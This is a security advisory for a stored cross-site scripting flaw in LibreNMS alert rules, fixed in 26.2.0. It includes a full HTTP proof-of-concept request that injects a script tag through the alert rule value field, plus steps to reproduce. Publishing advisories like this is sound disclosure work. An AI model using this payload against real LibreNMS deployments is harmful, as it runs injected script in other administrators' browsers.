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GHSA-6xmx-xr9p-58p7medium4.3

LibreNMS has a Stored XSS in Alert Rule

Impact

A stored Cross-Site Scripting (XSS) vulnerability exists in LibreNMS (" . e($rule_display) . "

Source excerpt · OSV

Affected packages

Start with the recorded fix for your release branch. Check your installed version and test compatibility before upgrading. Fixing this advisory does not rule out other vulnerabilities in the release.

librenms/librenms Packagist
Affected rangeRecorded fix
Earlier releases before 26.2.0Ecosystem versions26.2.0

Version evidence: OSV · GHSA-6xmx-xr9p-58p7

View original version evidence (149 explicit versions)

Original source description

Summary

A stored Cross-Site Scripting (XSS) vulnerability exists in LibreNMS (<= 25.12.0) in the creation of Alert Rules. This allows a user with the admin role to inject malicious JavaScript, which will be executed when the alert rules page is viewed.

Details

The stored JavaScript is displayed at line 63 of inlcudes/html/modal/alert_rule_list.inc.php.

<td><i>" . e($rule_display) . "</i></td>

PoC

Request PoC:

POST /alert-rule HTTP/1.1
Host: 192.168.236.131
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-CSRF-TOKEN: FaBY9sq0bzXpc3mlsvyRdvg0PLInwBXPnEhHNrZF
X-Requested-With: XMLHttpRequest
Content-Length: 718
Origin: http://192.168.236.131
Connection: keep-alive
Referer: http://192.168.236.131/device/device=1/tab=edit/section=alert-rules
Cookie: XSRF-TOKEN=eyJpdiI6ImhpdDNwV29nZE1lYzc0NGxyK2dGK2c9PSIsInZhbHVlIjoiUkpXUUlMYTZwT2VaZmNPZExKcHNLQWxwOFVjaGM3Z2hzNVBSa2thTEluSDdBL3Q0amVURGp1Q0tjYm15akw1QmJacDRqY3Y1eTNzS3l1VSsvcjVUaTRIalBKQzVpUlRySktLTHlnTHQxa29NNzlxaXMxQzdsalpUeDNaWTRKSjkiLCJtYWMiOiIwZGQ4ZmEzZmFmZTJkOGIyZWIxOGVhZjE0MTU4ZWI5ZjFlYTI0Y2NkNjcwYTU2Y2JkMTM5MDAxZDg1YWIzY2M5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImVWbzBKRU9IaURzOUJ6OVNjREVGbFE9PSIsInZhbHVlIjoiRlJPckhRRG4yZjFiUjdGMlZTUXlhNXArT0pMcUdQY3RaV1EvRWJZdGNWUFUzYjhVaWxLS1hFclpacmFHOGQyNllFaGF1ckRYQWZKNHdzNEQ5RHFmdzh3WEY3UFZvdGlqc3RQVUc2Mk1QYTZ0c045YWt0TG0rS2ttU0ZpV3NQMXkiLCJtYWMiOiI1YWM1OWM5MGMwOTcyNDk2OTU1NTBlY2ExZjQ4M2M1YmQ3ZWFlNzQ5NDVmZTgxOTEyMjNkNjJhM2EzZjY1OWE5IiwidGFnIjoiIn0%3D
Priority: u=0

_token=FaBY9sq0bzXpc3mlsvyRdvg0PLInwBXPnEhHNrZF&device_id=1&device_name=127.0.0.1&rule_id=&builder_json=%7B%22condition%22%3A%22AND%22%2C%22rules%22%3A%5B%7B%22id%22%3A%22access_points.accesspoint_id%22%2C%22field%22%3A%22access_points.accesspoint_id%22%2C%22type%22%3A%22string%22%2C%22input%22%3A%22text%22%2C%22operator%22%3A%22equal%22%2C%22value%22%3A%22%3Cscript%3Ealert(%5C%22xss%5C%22)%3C%2Fscript%3E%22%7D%5D%2C%22valid%22%3Atrue%7D&name=Test+rule&builder_rule_0_filter=access_points.accesspoint_id&builder_rule_0_operator=equal&builder_rule_0_value_0=%3Cscript%3Ealert(%22xss%22)%3C%2Fscript%3E&severity=warning&count=1&delay=1m&interval=5m&recovery=on&acknowledgement=on&maps%5B%5D=1&proc=&notes=&adv_query=

Steps to reproduce:

  1. Create and save an alert rule within a device with the following values: <img width="893" height="325" alt="image" src="https://github.com/user-attachments/assets/33bdb9a6-7c6c-4fd4-9e8e-b845cf9600ea" />

  2. Injected JavaScript is executed: <img width="1104" height="565" alt="image" src="https://github.com/user-attachments/assets/3d45c686-72e4-458a-93f6-e7fb749b966b" />

Impact

Type: Stored Cross-Site Scripting (XSS) Affected users: Only accounts with the admin role which can edit a device's alert rules are affected. Attackers need: Authenticated admin-level access.

References